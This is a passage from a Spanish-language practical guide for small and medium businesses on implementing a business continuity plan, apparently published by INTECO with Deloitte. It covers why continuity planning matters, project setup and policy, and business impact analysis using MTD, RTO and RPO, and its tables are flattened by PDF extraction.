compromiso de ser modelo de excelencia.
Deloitte cuenta con un grupo encargado de realizar servicios correspondientes a la gestión del riesgo
informático que se denomina Enterprise Risk Services (ERS). Este grupo está formado por cerca
de 200 profesionales, 7 socios en España y varios miles de especialistas a nivel mundial, dedicados
exclusivamente a servicios de auditoría informática, seguridad informática, identificación y gestión
de los riesgos de las operaciones asociados a los sistemas de información, así como a servicios
enfocados a mantener el nivel de control interno requerido en la utilización de la tecnología. Como parte
de la estrategia de diferenciación en los servicios prestados, debemos destacar la cualificación de su
equipo de profesionales, quienes atesoran más de 300 certificaciones en materia de seguridad de la
información, continuidad de las operaciones y auditoría informática.
Datos de contacto:
Deloitte
Plaza Pablo Ruíz Picasso, 1. Torre Picasso. 28020 Madrid
Teléfono: +(34) 915 14 50 00
Fax: + (34) 915 14 51 80
Si desea información adicional, por favor, visite www.deloitte.es
Depósito Legal: LE-1496-2010

Imprime: gráficas CELARAYN, s.a.
Índice
1. ¿A quién va dirigida? 7
2. ¿Por qué es importante la continuidad? 9
3. ¿Cuál es la utilidad de esta guía? 10
4. ¿Por qué es necesario adoptar un plan de Continuidad de Negocio? 12
5. ¿Por dónde empezar? 15
6. Estructura de la guía 19
7. Fase I: Diseño del plan y establecimiento de la política de

Continuidad de Negocio 21
8. Fase II: Conocimiento de los procesos de negocio de la

organización y análisis de riesgos 26
9. Fase III: Medidas preventivas 42
10. Fase IV: Estrategias de recuperación 46
11. Fase V: Desarrollo e implantación del plan 53
12. Fase VI: Mantenimiento del plan 62
13. ¿Qué debo recordar? 68
14. Más información 69
15. Anexo I: Glosario 72
(5
1. ¿A quién va dirigida?
Los principios de esta guía, si bien están dirigidos especialmente a la peque-

ña y mediana empresa española, así como a los profesionales autónomos,
son aplicables a cualquier empresa española, sin importar el sector, la acti-
vidad, la ubicación geográfica, la posible dispersión en múltiples sedes ni el
tamaño de la entidad. Posteriormente el tiempo, el esfuerzo y el presupuesto
son los parámetros que diferirán ampliamente en función del tamaño de la
empresa.
De forma más concreta, la intención de esta guía es que sea explotada por
aquel al que le ha sido encomendada la responsabilidad de ejecutar las me-
didas orientadas a garantizar la continuidad de sus actividades de negocio
(ya sea el área de tecnología y sistemas, el área de auditoría o gestión de
riesgos, o incluso personal al que se le encarga la gestión sin tener conoci-
mientos previos).
Las razones por las que esta guía va dirigida principalmente a la PYME es-
pañola son varias:
• Según el Directorio Central de Empresas (DIRCE) de 2009, más del 99%

del tejido empresarial español está constituido por pequeñas empresas
(las microempresas constituyen el 94,8% y las pequeñas el 4,4%), lo que
constituye el motor principal de la economía y de la producción en Espa-
ña.
• El grado de implantación de planes de continuidad de negocio en las

pequeñas y medianas empresas españolas es notablemente inferior si
se compara con las grandes empresas. Todas las empresas españolas,
independientemente de su sector de actividad, son conscientes de la im-
portancia de aplicar este tipo de planes, pero principalmente las grandes
disponen de recursos técnicos, económicos y humanos necesarios para
convertir esta necesidad en una realidad tangible.
¿A quién va dirigida? (7
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
• A partir de los estudios realizados por INTECO sobre seguridad de la

información en el ámbito de la empresa, se evidencian lagunas en el co-
nocimiento y una falta de recursos en la PYME española en materia de
continuidad de negocio.
8) ¿A quién va dirigida?
2. ¿Por qué es importante la continuidad?
La competitividad creciente entre las organizaciones empresariales, las de-

mandas cada vez más exigentes de clientes y stakeholders, o los requeri-
mientos regulatorios cada vez más restrictivos, son factores que hoy en día
fuerzan a las empresas a demostrar la resistencia de las actividades de
negocio a permanecer activas ante cualquier contingencia grave.
Una caída de la luz, una inundación, un incendio o un robo han de considerar-

se amenazas reales que deben ser tratadas de forma preventiva para evitar,
en caso de que éstas sucedan, que las pérdidas sean tan graves que afecten a
la viabilidad del negocio. Son múltiples las organizaciones que, independiente-
mente de su tamaño, fracasan o incluso desaparecen por la falta de procesos,
mecanismos y técnicas que mitiguen los riesgos a los que están expuestas y
garanticen una alta disponibilidad en las operaciones de su negocio.
De este modo, es necesario que las organizaciones establezcan una se-

rie de medidas técnicas, organizativas y procedimentales que garanticen la
continuidad de las actividades o procesos de negocio en caso de tener que
afrontar una contingencia grave.
Uno de los principales inconvenientes o barreras a las que se en-

frenta una organización cuando decide abordar cualquier tipo de
iniciativa relacionada con la continuidad de negocio es la falta de
conocimiento y de instrucciones claras y concisas que detallen por
dónde empezar y qué aspectos deben tenerse en cuenta para ga-
rantizar el éxito.
Esta guía trata de salvar estos niveles de desorientación a través de un

marco de actuación para aquellas organizaciones que deseen entender y
abordar los principios y las prácticas de continuidad de negocio de una for-
ma integral (desde el momento inicial en el que se reconoce la necesidad de
desarrollar un programa o estrategia de continuidad, hasta su mantenimien-
to y actualización constante).
¿Por qué es importante la continuidad? (9

3. ¿Cuál es la utilidad de esta guía?
Esta guía tiene el objetivo de identificar y explicar de forma desglosada las

actividades necesarias para diseñar, implantar y mantener un Plan de Con-
tinuidad de Negocio, proporcionando, siempre que sea posible, gráficos,
ejemplos ajustados a las necesidades reales de la pequeña y mediana em-
presa española y experiencias de casos de éxito con los que compararse.
Así, se pretende que la organización asimile y entienda cada una de las
fases y tareas que componen dicho Plan.
Si bien existen multitud de manuales, estándares y recomendaciones que

tratan de guiar a las organizaciones a adoptar estrategias de continuidad de
negocio, la mayoría de ellas son teóricas, expresadas con un lenguaje for-
mal, y no tienen en cuenta la situación, la problemática, las necesidades rea-
les o los niveles de conocimiento por parte de este tipo de organizaciones.
INTECO ha tratado de cubrir estas deficiencias a lo largo del diseño y ela-

boración de esta guía, teniendo en cuenta la situación actual de la PYME
española desde el punto de vista de la tecnología y la seguridad de la in-
formación, las principales barreras a las que se enfrentan cuando deciden
abordar planes de continuidad de negocio, así como los principales errores
en los que suelen incurrir en la citada materia.
El resultado es un documento en el que se expone de forma clara y sencilla

los aspectos a considerar y las actividades a desarrollar por cualquier orga-
nización que desee estar preparada ante posibles incidencias de seguridad
que puedan paralizar la entrega de sus productos y/o servicios.
10 ) ¿Cuál es la utilidad de esta guía?

Esta guía nace para que la pequeña y mediana empresa española
(PYME) se familiarice con la continuidad de negocio y comprenda
por qué es necesario tener planes preventivos orientados a garanti-
zar la continuidad de sus operaciones ante una situación de contin-
gencia, qué aspectos tiene que tener en cuenta para el desarrollo
de su estrategia de continuidad y qué beneficios proporciona dis-
poner del mismo.
Del mismo modo, la guía pretende resaltar y concienciar a las organizacio-

nes acerca de la importancia crítica que tiene asegurar la continuidad de
sus operaciones, así como la necesidad de hacer frente de forma proactiva
a incidentes graves de seguridad.
Esta guía no es en absoluto un conjunto de requerimientos específicos, sino

que, basándose en la experiencia, expone buenas prácticas y recomenda-
ciones acerca de las fases y actividades que conviene adoptar.
¿Cuál es la utilidad de esta guía? ( 11

4. ¿Por qué es necesario adoptar un plan
de continuidad de negocio?
Los recientes acontecimientos prueban que las organizaciones no pueden

estar preparadas para todos y cada uno de los eventos adversos que pue-
den sucederles y que pueden impactar en sus actividades de negocio.
El fallo de la red eléctrica de Barcelona en julio de 2007 que impactó en

servicios críticos como sanidad y transporte, el incendio del edificio Windsor
en Madrid en el año 2005, el atentado terrorista de las Torres Gemelas en
el 2001, e incluso caídas de los servicios de telefonía y ADSL en los corres-
pondientes operadores son ejemplos de sucesos de gravedad crítica que
afectan a las organizaciones, a los gobiernos y a los ciudadanos.
Cada año son millones las organizaciones que padecen inundaciones, in-
cendios, ataques terroristas, actos vandálicos y otras amenazas. Las com-
pañías que logran superar estos traumas son las previsoras, las que están
preparadas para enfrentarse a lo peor, las que estiman los posibles daños
que pueden sufrir y ponen en marcha las medidas necesarias para prote-
gerse.
Toda organización depende de sus recursos, del personal y de las tareas

que día a día son ejecutadas con el fin de mantener los beneficios y la esta-
bilidad. La mayoría posee bienes tangibles, empleados, sistemas y tecnolo-
gías de información, etc. Si alguno de estos componentes es dañado o deja
de estar accesible por la razón que sea, la organización puede paralizarse.
Cuanto mayor sea el tiempo de inactividad, mayor es la probabilidad de que
tenga que comenzar de nuevo desde cero. Incluso muchas organizaciones
no son capaces de recuperarse después de ser víctima de algún desastre.
Adicionalmente, en ocasiones existe la percepción errónea de interpretar

como una falta de confianza o una señal de debilidad el hecho de que una
organización anticipe que algún componente de su actividad de negocio
puede fallar. Nada más lejos de la realidad.
12 ) ¿Por qué es necesario adoptar un plan de continuidad de negocio?

La adopción de una estrategia de continuidad constituye un ejercicio
de responsabilidad y predisposición a anticiparse a cualquier tipo de
evento adverso que haga peligrar el negocio.
Aparte de prevenir o minimizar las pérdidas para el negocio que un desas-

tre puede causar, el objetivo principal de cualquier programa orientado a
gestionar la continuidad de negocio de una organización es garantizar que
ésta dispone de una respuesta planificada ante cualquier trastorno impor-
tante que puede poner en peligro su supervivencia. Esta afirmación de por
sí constituye un argumento irrefutable que explica la necesidad de instaurar
en todas las compañías tales estrategias, independientemente de su tamaño
y/o sector de actividad.
Además puede aportar otros beneficios:
• Ventaja competitiva frente a otras organizaciones: el hecho de mostrar

que se toman medidas para garantizar la continuidad de negocio mejora la
imagen pública de la organización y revaloriza la confianza frente a accionis-
tas, inversores, clientes y proveedores.
¿Por qué es necesario adoptar un plan de continuidad de negocio? ( 13

Por otra parte, el retorno de la inversión (ROI) en aspectos de continuidad

es más perceptible en términos de reputación e imagen pública.
• Gestión preventiva de los riesgos: a través de la gestión de la con-

tinuidad, una organización es capaz de abordar la gestión proactiva de
amenazas y riesgos que pueden impactar en sus operaciones.
• Previene o minimiza las pérdidas de la organización en caso de de-

sastre: es capaz de identificar de forma proactiva los posibles impactos e
inconvenientes que una interrupción de sus actividades de negocio puede
provocar.
• Asegura la “resiliencia” de las actividades de negocio ante interrup-

ciones, aumentando la disponibilidad de los servicios dispuestos para el
cliente.
• Menor riesgo de sufrir sanciones económicas al adaptarse a reque-

rimientos regulatorios: para algunos sectores de actividad (como por
ejemplo la normativa MiFID para las compañías de actividades y servicios
de inversión para particulares ubicadas en los estados miembros de la
Unión Europea, o el programa para la Protección de las Infraestructu-
ras Críticas impulsado por la Comisión Europea), la adopción de planes
de continuidad de negocio es un requerimiento regulatorio que debe ser
satisfecho. El cumplimiento de tal requerimiento evita el riesgo de sufrir
sanciones económicas.
• Asignación más eficiente de las inversiones en materia de seguri-

dad: tal y como se detalla en la presente guía, todo plan de continuidad
de negocio está diseñado conforme a un proceso previo de análisis de
riesgos, el cual permite priorizar los mismos y fijar los esfuerzos y los
presupuestos en las áreas más necesitadas.
14 ) ¿Por qué es necesario adoptar un plan de continuidad de negocio?

5. ¿Por dónde empezar?
Como paso previo al proceso formal de desarrollar e implantar un plan de

continuidad de negocio, toda organización debe tener en consideración 6
aspectos claves que son descritos a continuación:
Tiempo y recursos: toda estrategia para abordar la implantación de

un Plan de Continuidad de Negocio requiere de tiempo y recursos
(humanos, económicos e incluso tecnológicos). Dicho requerimiento
convierte a las direcciones de las organizaciones en un componente
clave para apoyar la gestión de continuidad y dotar de tales recursos
a la organización.
Implicación y compromiso de la dirección: reforzando el punto an-

terior, la dirección, como ente que toma las decisiones y proporciona
los fondos necesarios, debe ser concienciada y debe estar convenci-
da de la necesidad de este tipo de planes.
Esta misión de concienciación a menudo resulta un proceso complejo

por varias razones: los canales de comunicación con la dirección no
siempre son fluidos, el lenguaje empleado en términos de “riesgo”,
“impacto”, “vulnerabilidad” y otros conceptos relacionados con la se-
guridad y las tecnologías de la información puede no ser el idóneo
para que sea entendido y asimilado por la dirección.
Para conseguir el citado apoyo de la dirección, es necesario dirigirse

a la misma en términos más tangibles y de negocio como son los cos-
tes de implantar los planes de continuidad y los beneficios que éstos
proporcionan. Otro aspecto útil en este sentido es el cálculo del coste
de la interrupción de un proceso de negocio en términos financieros,
el cual dependerá de varios factores como la pérdida de ingresos du-
rante la interrupción, la disminución de la productividad del trabajador
e incluso la pérdida de imagen y reputación de la organización.
¿Por dónde empezar? ( 15

Así por ejemplo, el citado cálculo para una entidad cuya actividad prin-
cipal es la comercialización y venta de bienes por Internet debería con-
templar: el número de interrupciones que puede tener en un año, el tiem-
po (por ejemplo, en horas) que no va a poder dar servicios y el coste por
hora que conlleva la interrupción de su actividad:
Coste de la interrupción al año: 3 interrupciones x 1,5 horas x 2.000 €/h=

9.000 €.
De esta forma, la dirección tendrá información más tangible que le

permitirá entender qué riesgos está asumiendo y evaluar si es nece-
sario abordar un plan de continuidad de negocio.
Conocer la organización es necesario y crítico: los procesos de

negocio, el apoyo de los mismos en las Tecnologías de la Información
(TI), el conocimiento de personas clave para la organización, los pro-
ductos y servicios, la estrategia de negocio o las metas de la organiza-
ción, los procesos internos, etc. Toda organización debe conocer cuál
es su ámbito de negocio y los procesos que le permiten desarrollar
su actividad.
La esperanza de que una organización recupere sus actividades tras

un desastre es nula si no dispone previamente de un buen conoci-
miento acerca de cómo funciona. Ante esta afirmación, es frecuente
la postura de muchas organizaciones al pensar que “obviamente, una
compañía conoce cómo funciona”. Pero si se analiza este asunto dete-
nidamente, muchas de ellas se sorprenderían de lo verdaderamente
complicado que resulta entender y asimilar su funcionamiento al nivel
de detalle que es requerido para poder reconstruir sus actividades
en caso de que sea necesario. Cada miembro de la plantilla conoce
sus funciones y sus responsabilidades al detalle, aunque si se tiene
en cuenta que cada actividad de negocio está constituida por infor-
16 ) ¿Por dónde empezar?

mación, funciones, redes, personas, tiempo, interdependencias, etc.,
difícilmente se puede identificar a alguien que sea capaz de explicar
todos y cada uno de los procesos de negocio de su organización.
Definir el alcance: un paso clave que una organización debe abordar

cuando decide impulsar un plan de continuidad de negocio es decidir
acerca del alcance del mismo. En ocasiones el plan de continuidad
exigido es demasiado extenso si se aplica a toda la organización, y
termina fracasando. Por ello, es importante determinar qué áreas,
procesos de negocio o productos/servicios de la organización serán
incluidos en el plan. Incluso en los casos en los que la organización
tenga varias sedes, será necesario establecer un alcance geográfico.
En este sentido, algunas preguntas que deben contemplarse cuando

la organización trata de determinar el alcance de su estrategia de
continuidad son:
• ¿Cuáles son las actividades más importantes y críticas de la

compañía?
• Desde el punto de vista financiero, operativo, legal o asociado

a la imagen de la compañía, ¿qué impacto tendría una interrup-
ción los servicios o de los procesos de la empresa?
• ¿Durante cuánto tiempo puedo permitirme que la entrega de mis

productos o servicios esté interrumpida?
Colaboración de las áreas que componen la empresa: un plan de

continuidad de negocio impacta y necesita del apoyo y la colaboración de
las diferentes áreas de la organización: los proyectos de continuidad de
negocio tienen que contar con enfoques no solo tecnológicos, sino tam-
bién de negocio (relación con proveedores de servicio, recursos humanos,
atención al cliente, recursos financieros, recurso logísticos, etc.).
¿Por dónde empezar? ( 17

Plantearse la necesidad de asesoramiento externo: conocer si es

necesario disponer o no de ayuda especializada y saber dónde en-
contrarla, ya que muchos de los problemas a los que se tiene que
enfrentar una organización para implantar su plan de continuidad de
negocio ya han sido analizados y solucionados por otras empresas
previamente.
18 ) ¿Por dónde empezar?

6. Estructura de la guía
A continuación se presentan las fases que deben ser abordadas en toda

gestión de continuidad de negocio:
FASE I FASE II FASE III FASE IV FASE V FASE VI

Diseño del Plan y Conocimiento Medidas Estrategia de Desarrollo e Mantenimiento
Política de organización y preventivas recuperación implantación del del plan
Continuidad de Análisis Plan
Negocio Riesgo
• Fase I. Diseño del Plan y establecimiento de la Política de Continuidad

de Negocio: comprende la identificación de las actividades que deben
ser realizadas de forma previa para comenzar el proceso de desarrollo e
implantación del Plan de Continuidad.
• Fase II. Conocimiento de los procesos de negocio de la organización

y análisis de riesgos que impactan en las actividades de negocio:
con el fin de identificar los productos y servicios clave de la PYME, los
recursos clave que soportan estas actividades y los riesgos a los que está
expuesta.
• Fase III. Medidas preventivas: esta fase plantea la posibilidad de aplicar

medidas de seguridad preventivas y proactivas con la intención, en la
medida de lo posible, de evitar o gestionar los incidentes graves, sin
necesidad de activar el plan de continuidad de negocio a no ser que sea
estrictamente necesario.
• Fase IV. Estrategia de recuperación: considerando que no todas las

actividades de negocio tienen las mismas prioridades de recuperación,
esta fase establece los objetivos y las prioridades de recuperación en
función de los riesgos que impactan en las operaciones de negocio.
• Fase V. Desarrollo e implantación del Plan: conjunto de prácticas,

procedimientos a seguir y tecnologías para la recuperación de
Estructura de la guía ( 19
las operaciones críticas después de producirse un desastre.

Dichos procedimientos deben soportar las estrategias de recuperación
previamente seleccionadas.
• Fase VI. Mantenimiento del Plan: teniendo en cuenta que todo Plan
de Continuidad de Negocio debe ser difundido, revisado, actualizado
y probado regularmente, esta fase describe acciones de difusión y
formación del Plan, así como las pruebas y el proceso de mejora continua
del mismo.
20 ) Estructura de la guía
7. Fase I: Diseño del plan y establecimiento
de la política de continuidad de negocio

Negocio Riesgo
7.1. OBJETIVOS
En esta fase, y tras haber obtenido el soporte y las inversiones necesarias, la

empresa que decide abordar un plan continuidad de negocio debe averiguar
qué se va a hacer y por qué.
7.2. TAREAS
7.2.1. DESIGNAR UN COORDINADOR DE CONTINUIDAD DE NEGOCIO
Una tarea clave de esta fase es designar un coordinador/líder que se

encargará de gestionar y supervisar el proceso de elaboración e implantación
del plan de continuidad de negocio.
Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio ( 21

E incluso, si la inversión lo permite y en función del tamaño de la organización

y el alcance del plan, es recomendable asignar personal adicional y constituir
un equipo de continuidad de negocio.
El coordinador o el equipo deben trabajar con la dirección para identificar

el alcance y los objetivos que persigue el plan, así como las actividades de
negocio que son críticas en la organización.
Adicionalmente, el perfil o perfiles de las figuras encargadas de la gestión

de la continuidad de negocio en una PYME no tiene que estar forzosamente
localizado en las áreas de tecnología y sistemas (tal y como muchas
organizaciones asumen y derivado de la idea perenne de que los procesos de
continuidad de negocio están constituidos principalmente por componentes
tecnológicos).
7.2.2. ELABORAR LA POLÍTICA DE CONTINUIDAD DE NEGOCIO
En paralelo, y con el fin de formalizar un marco de actuación que determine

los objetivos, y el alcance (actividades de negocio incluidas) del plan, así
como las funciones y responsabilidades del mismo, debe elaborarse la
política de continuidad de la organización. Normalmente es la figura citada
en el apartado anterior el encargado de diseñar y elaborar esta política.
Generalmente la citada política es entendida como un documento sencillo,

claro y conciso que establece a alto nivel (estratégico) los objetivos, el
alcance y las responsabilidades en la gestión de la continuidad de negocio
en la organización.
A continuación se muestra un ejemplo de plantilla de una Política de

Continuidad de Negocio que permite conocer con más exactitud el enfoque
que con frecuencia es aplicado a la elaboración de la misma:
22 ) Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

INTRODUCCIÓN
En la que se detalle de forma resumida la materia tratada (Plan de
Continuidad de Negocio), la estructura del documento y lo que se
persigue a través del mismo.
OBJETIVOS
En este apartado se detallan los objetivos que serán satisfechos mediante
la aplicación de la propia política, como garantizar la continuidad de las
actividades y de los servicios, aplicar los procedimientos de contingencia
y planes de respuesta necesarios, etc.
ALCANCE
Indica los procesos u operaciones de negocio que son cubiertos por
la política, así como los recursos que soportan los citados procesos. Si
aplica, también puede llegar a considerarse la zona geográfica sujeta a
las instrucciones marcadas por la política.
RESPONSABILIDADES
Relación de los diferentes responsables implicados de una forma u
otra en la gestión de la continuidad de negocio (gerencia, coordinador,
equipo, áreas de negocio, proveedores de servicio, etc.) junto con una
descripción detallada de sus funciones y obligaciones (gestión de riesgos,
asignación y distribución de los recursos, desarrollo de procedimientos
de respuesta, realización de pruebas periódicas, formación, etc.).
7.2.3. ESTABLECER LA PLANIFICACIÓN DEL PROYECTO
Finalmente el coordinador o equipo de continuidad debe aplicar sus

habilidades de gestión de proyectos para programar y desarrollar los
siguientes componentes del plan de trabajo: tareas a llevar a cabo para
satisfacer los objetivos descritos en la política de continuidad, responsables
de ejecutar tales tareas, tiempos de ejecución, hitos, presupuestos, plazos e
indicadores de éxito.

7.3. RIESGOS ASOCIADOS AL DISEÑO DEL PLAN Y ESTABLECI-

MIENTO DE LA POLÍTICA DE CONTINUIDAD DE NEGOCIO
Con más frecuencia de la deseada, las organizaciones no disponen de un

perfil con las capacidades y aptitudes necesarias para afrontar con garantías
la adopción de un plan de continuidad de negocio. Este hecho se acentúa
más cuanto menor es el tamaño de la organización.
7.4. RECOMENDACIONES
El coordinador formalmente designado es la persona competente para

gestionar y supervisar el desarrollo y la implantación del plan de continuidad
de negocio, por lo que es importante que disponga de las siguientes
capacidades o conocimientos:
• Liderazgo.
• Conocimiento de la organización y de sus actividades de negocio.
• Habilidades sociales de comunicación, ya que está previsto que

interaccione de forma fluida con las diferentes áreas de la organización
que probablemente tengan otras prioridades.
• Capacidad para gestionar proyectos: planificación, definición de

recursos necesarios, seguimiento, reporte, etc.
Para aquellas organizaciones que constituyen un equipo de continuidad

de negocio, es aconsejable que esté formado por personal que pertenezca
o conozca las diferentes actividades de negocio (tecnología y sistemas,
financiero, comercial, recursos humanos, etc.), ya que los riesgos y
amenazas varían en función de dicha actividad y deben ser puestos en
común, identificados y priorizados.
24 ) Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

Por otro lado, se hace necesario remarcar que el contenido de la política
de continuidad de negocio debe ser claro, sencillo y conciso, con el fin de
evitar interpretaciones o expectativas erróneas. Para ello es aconsejable,
aparte del conocimiento de la organización y de esta guía, la investigación
de fuentes externas en busca de publicaciones y buenas prácticas emitidas
por organismos especializados, estándares, etc.

8. Fase II: Conocimiento de los procesos de negocio
de la organización y análisis de riesgos

Negocio Riesgo
8.1. OBJETIVOS
Identificados los objetivos y el alcance de la gestión de continuidad de negocio

a través de la citada Política de Continuidad de Negocio, la empresa debe:
• Entender la organización mediante la identificación de productos y servicios

clave, así como las actividades y recursos críticos que los soportan.
• Estimar el impacto y las consecuencias de los posibles fallos en esas

actividades y recursos críticos.
• Identificar y valorar los riesgos que podrían interrumpir la entrega de los

productos y servicios de la empresa, así como de los recursos sobre los
que están soportados.
• Adicionalmente, la externalización de determinados servicios u operacio-

nes abre un nuevo ámbito de gestión, ya que es frecuente que la respon-
sabilidad de continuidad de negocio para los servicios externalizados no
sea transferida al proveedor o tercero.
8.2. TAREAS
8.2.1. ESTUDIAR LOS PROCESOS Y ACTIVIDADES DE NEGOCIO
Tanto las actividades de negocio que se encargan del desarrollo de produc-

tos y servicios de la organización, como los recursos/activos3 que dan so-
3 En materia de riesgos y continuidad de negocio es común hablar indistintamente de “activos” o de “recursos” como
aquello que es necesario en una organización para la consecución de sus actividades y objetivos de negocio.
26 ) Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

porte a dichas actividades deben ser identificados y analizados describiendo
las personas implicadas, la información y las aplicaciones empleadas, los
proveedores utilizados, etc.
Adicionalmente, es importante considerar que toda organización es un ente

complejo de equipamiento, personas, tareas, departamentos, mecanismos
de comunicación y relaciones con proveedores externos, los cuales pueden
prestar servicios críticos que deben ser considerados. Uno de los desafíos
más grandes en continuidad de negocio es entender todas las complejida-
des e interrelaciones existentes. Son las llamadas interdependencias inter-
nas y externas.
Una organización puede implantar copias de seguridad, redundan-

cia de equipos informáticos y suministros eléctricos, formación y en-
trenamiento de sus empleados, etc. Pero si no conoce cómo todos
estos componentes interactúan para dar forma a una actividad de
negocio, cualquier iniciativa terminará resultando una pérdida de
tiempo de trabajo efectivo.
Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos ( 27

A modo de ejemplo, se presenta una tabla que incluye que las actividades
de negocio de una organización y que podría servir como punto de arranque
del trabajo de identificar y conocer en detalle todas las operaciones de ne-
gocio de la organización:
Área Actividades de negocio

• Administración de personal
• Gestión de nóminas
Recursos Humanos
• Control de presencia
• Desarrollo del personal
• Relación con proveedores

Compras
• Gestión de pedidos
• Comercialización de productos
• Marketing
Ventas
• Facturación
• Gestión de impagos
Producción • Generación del producto/servicio
• Contabilidad
Administración y finanzas • Cuentas de resultados
• Tesorería
• Gestión contractual
Asesoría jurídica
• Gestión societaria
• Auditoría de las actividades de negocio
Auditoría interna
• Reporting a la dirección
• Automatización y eficiencia de los procesos

Tecnología y Sistemas
• Innovación

8.2.2. IDENTIFICAR Y VALORAR EL IMPACTO ASOCIADO A LAS
INTERRUPCIONES DE LOS PROCESOS DE NEGOCIO
Es necesario que las empresas realicen el esfuerzo de identificar y valorar el

impacto que podría tener en la organización si una actividad se paralizase,
así como el tiempo de interrupción que puede ser soportado por la organi-
zación hasta que las pérdidas no sean asumibles (tiempo máximo permitido
de interrupción o MTD por sus siglas en inglés).
En la siguiente ilustración se muestra, a modo de ejemplo, la línea temporal

que marca un desastre y la estimación del tiempo máximo permitido de inte-
rrupción (MTD) para una determinada actividad de la organización.
Línea temporal en la que se localiza el Tiempo Máximo Permitido de Interrupción

Las siguientes son algunas estimaciones de tiempos máximos permiti-

dos de interrupción que pueden ser empleados por las empresas para
conocer la criticidad de sus actividades y/o de sus recursos: no priorita-
rio (30 días); normal (7 días); importante (72 horas); urgente (24 horas) y
crítico (minutos u horas).
Por ejemplo, si una compañía que comercializa sus productos por Inter-
net sufre la caída de su línea de conexión a Internet durante 3 horas y
consecuentemente calcula que las pérdidas asociadas a la interrupción
ascienden a 60.000 €, la citada línea de comunicación será considerada
un recurso crítico para la compañía y tendrá que adoptar una estrategia
de continuidad prioritaria consistente en implantar una línea de comuni-
cación redundante y alternativa.
En este punto es necesario destacar que el impacto total asociado a la para-

lización de alguna actividad de la organización depende de varios factores:
Tipos de Impacto Descripción del Impacto
Actividades de negocio que dejan de estar en funcio-

Operativos namiento o el coste de las horas de trabajo perdidas
por los empleados
Costes directos o indirectos como por ejemplo el lu-

Económicos
cro cesante o el daño emergente
Regulatorios o Sanciones por incumplimiento legal o penalizaciones

contractuales por incumplimiento del contrato con clientes
Relación de aspectos más intangibles y por tanto

más difíciles de valorar como la imagen, la fiabilidad
Imagen
y la reputación de la organización frente a clientes,
proveedores y accionistas

Todos ellos deben ser considerados para que las conclusiones del análisis y
las estimaciones sean completas y veraces.
En la siguiente ilustración se detalla cualitativamente y a modo de ejemplo la

secuencia para calcular el impacto (retraso en la elaboración de las nóminas
y descontento de los empleados) que puede tener la paralización del proce-
so de gestión de nóminas de la organización derivado de la indisponibilidad
de la tecnología que lo soporta.
Ejemplo cálculo de impacto sobre una actividad de negocio de la empresa
ACTIVIDADES CRÍTICAS RECURSOS CRÍTICOS Tiempo máximo permitido de

interrucción (MTD): 1 mes
Información obtenida 1. Comercialización de 1. Responsable de recursos
productos. IMPACTO
de los responsables humanos
y conocedores de 2. Gestión de Nóminas 2. Tecnología: aplicación que • Retraso en la elaboración de las
las actividades de la 3. Facturación genera la nómina nóminas
organización 4. Gestión de pedidos 3. Archivos en papel con los • Descontento de los empleados
salarios de los empleados
5....
4....
O aún más sencillo: si una organización sufriera una interrupción en su co-

nexión a Internet, sería un problema que no pudiera realizar transacciones
financieras, procesar pedidos o comunicarse con el personal.
8.2.3. IDENTIFICAR ACTIVIDADES, RECURSOS CRÍTICOS Y

PRIORIDADES DE RECUPERACIÓN ASOCIADAS
La organización, a la hora de identificar y priorizar las actividades y recursos

críticos, debe tener en cuenta aquellos que, en caso de pérdida, tendrían el
mayor impacto sobre la actividad empresarial en el menor tiempo posible y,
por tanto, necesitarían ser restaurados con mayor inmediatez.

Siguiendo con el gráfico anterior, se muestra como ejemplo la valoración

cualitativa de las prioridades de recuperación (alta, media o baja) de los
recursos críticos (responsable de Recursos Humanos, tecnología y archivos
en papel) que soportan el proceso de gestión de nóminas a partir de la ya
explicada estimación del impacto.
Ejemplo cálculo de prioridades de recuperación sobre los recursos críticos de una

actividad de negocio de la empresa
RECURSOS CRÍTICOS Recursos críticos Prioridad Recuperación

Tiempo máximo permitido de
1. Responsable de recursos interrucción (MTD): 1 mes
1. Responsable de recursos Baja
humanos IMPACTO humanos
2. Tecnología: aplicación
que genera la nómina • Retraso en la elaboración de las 2. Tecnología: aplicación Alta
nóminas que genera la nómina
3. Archivos en papel con los • Descontento de los empleados
salarios de los empleados 3. Archivos en papel con Media
4.... los salarios de los
empleados
Es decir, del hecho de concluir que la tecnología que habilita el proceso de ges-
tión de nóminas tiene una prioridad de recuperación “alta”, se deriva que dicho re-
curso es crítico y por tanto más importante que otros (responsable de Recursos
Humanos o archivos en papel) desde el punto de vista de su recuperación.

Otros ejemplos de identificación de recursos críticos pueden ser:
• Las redes de comunicaciones en organizaciones que dependen de las

comunicaciones internas y externas para funcionar adecuadamente.
• Los sistemas de alimentación energética en aquellas compañías

que requieren de suministro eléctrico para fabricar sus bienes.
• El conocimiento del fundador y gerente de la empresa, el cual es el

único que dispone de la experiencia y entendimiento detallado de
sus actividades de negocio.
• El listado de clientes y contactos comerciales disponible únicamen-

te en soporte papel.
Existen dos parámetros muy específicos que están estrechamente relacio-

nados con la recuperación: Tiempo de Recuperación Objetivo (RTO) y Punto
de Recuperación Objetivo (RPO).
El RTO establece la urgencia que las diferentes unidades de negocio precisan

para volver a su funcionamiento habitual. Por tanto, determina los plazos en los
que deben volver a funcionar con normalidad. Estos pueden establecerse en
períodos de tiempo en función de la criticidad de los procesos y pueden ser
cuestión de horas o semanas en aquellos procesos prescindibles. Por tanto, se
trata de identificar el orden en que hay que tratar de reconstruir la actividad, recu-
perando antes aquellos procesos cuya paralización suponen un mayor impacto
para la organización. En una situación de crisis siempre hay recursos limitados y
es necesario elegir qué hacer primero atendiendo a un criterio de negocio.
El RPO se refiere al punto más reciente en el tiempo en el que los sistemas

pueden ser recuperados, reflejando por tanto cuánta es la cantidad de infor-
mación que una organización puede permitirse perder sin que le afecte ne-
gativamente. Por tanto, el RPO determina la periodicidad con la que deben
salvaguardarse los datos para todos aquellos procesos de negocio.

Cuanto más cortos son el RTO y el RPO, más complejos y caros son los pla-
nes de continuidad de negocio. Estos dos parámetros deciden también las
diferentes estrategias de recuperación que serán explicadas en el apartado
10 de esta guía.
La siguiente ilustración muestra visualmente el concepto Tiempo de Recu-

peración Permitido (RTO) y su relación con el Tiempo Máximo Permitido
de Interrupción (MTD) (considerando la ocurrencia en algún momento del
tiempo de un desastre):
